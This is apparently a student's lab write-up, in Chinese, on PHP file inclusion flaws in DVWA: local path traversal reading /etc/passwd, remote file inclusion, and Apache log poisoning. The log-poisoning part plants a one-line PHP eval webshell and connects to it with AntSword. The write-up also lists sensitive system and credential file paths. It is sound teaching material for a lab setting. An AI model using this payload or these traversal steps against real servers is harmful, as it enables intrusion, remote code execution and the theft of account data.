(1)DVWA环境下去包含其他目录的任意3个文件,要求使用相对路径 (2)远程文件包含 (3)中间件日志包含绕过,要求使用蚁剑连接成功

一、实验环境

软件名称部署方式版本IP
DVWAdocker run -d –name dvwa -p 80:80latest172.31.5.7
Upload-labsdocker run -d -p 8081:80 –name upload-labs cuer/upload-labslatest172.31.5.7

二、漏洞简介

2.1 原理

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件, 导致意外的文件泄露甚至恶意的代码注入。

2.2 分类

文件包含漏洞一般可分为两类

  • **本地文件包含:**包含的是web服务器本地的文件,如:/etc/passwd等敏感文件

    利用条件:

    • 用户对输入可控且无过滤
  • **远程文件包含:**包含的是远程服务器(如黑客攻击机器上的文件),攻击者可通过此方式执行恶意代码

    利用条件:

    需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如: 攻击者搭建的一个Web服务器)的文件。

    • allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据
    • allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件

2.3 相关函数

PHP中的文件包含函数有以下四种:

  • require()
  • include()
  • require_once()
  • include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常 运行;而require函数出现错误的时候,会直接报错并退出程序的执行。 而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适 用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重 定义,变量重新赋值等问题。

2.3 漏洞场景

URL中如果出现了如下内容就可能存在文件包含漏洞

?page=
?file=
?home=

常见的系统敏感文件

windows系统

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储windows系统初次安装的密码
c:\programFiles\mysql\my.ini //MYSQL root密码
c:\windows\php.ini // php 配置信息

Linux系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

2.4 漏洞发现

1、观察URL链接是否包括以下类似的关键字:page/include/path/file/link/url等,如果有,则可能 存在文件包含漏洞;

2、可以观察在URL中,出现的赋值参数等号后跟的信息,是否为一个文件,如果是,则可能存在文件 包含漏洞;

3、在关键字处或明显被文件赋值的参数处,尝试进行赋值,如:https://www.baidu.com;或系统常 见文件,如:/etc/passwd(Linux)

三、漏洞复现

3.1 本地文件包含

DVWA安全等级:Low, 文件包含模块可以看到有三个文件,且有关键字page

image-20230309120259774

点击任意文件观察到URL中page字段的参数值有变化

image-20230309120552227

查看源码分析:该页面使用get方法传递参数,且没有任何过滤

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

尝试直接修改URL中page字段的参数值,输入多个 ../ 确保回到 / 目录下。可以读取到/etc/passwd 文件

image-20230309120935135

尝试读取其它文件

image-20230309121435003

image-20230309121448533

3.2 远程文件包含

还是在DVWA的文件包含模块,调整安全级别为:Low

远程文件使用upload-labs中的phpinfo.txt(需自行创建或者上传)

root@09fcc517488e:/var/www/html# cat > phpinfo.txt <<EOF
> <?php
>  
> phpinfo();
>  
> ?>
> EOF
root@09fcc517488e:/var/www/html# cat phpinfo.txt 
<?php
 
phpinfo();
 
?>

page参数改为远程服务器的文件地址;**此处注意包含的远程文件不能为.php文件,否则将直接返回远程文件。正确的做法是,包含一个如:.txt后缀的文件,使得被攻击机器读取并执行其中的代码。 **

image-20230309124112147

3.3 中间件日志包含

DVWA安全等级:Low

DVWA中,apache2日志文件路径为: /var/log/apache2/access.log 包含日志文件,需要先对文件和目录添加权限,让web端有权限去访问:

[root@centos7 ~]# docker exec -it dvwa bash
root@81bfa8dbf381:/# chmod 755 /var/log/apache2/
root@81bfa8dbf381:/# chmod  644 /var/log/apache2/access.log

修改完权限后,开启burp抓包,然后访问URL

http://172.31.5.7/vulnerabilities/fi/?page=<?php eval(@$_POST['a']);?>

在burp中可以看到,URL被重新编码了

image-20230309143005268

查看日志文件验证,日志文件记录的是URL编码后的一句话木马,是不能成功执行的

image-20230309143120847

因此需要在burp中将URL改为正常的URL,然后Forward

image-20230309143248676

再次查看日志验证结果,发现一句话木马被成功记录到日志

image-20230309143310983

使用蚁剑链接,注意要配置Cookie(DVWA需要登录)

image-20230309143816443

image-20230309143842052

一句话木马利用成功

image-20230309143901499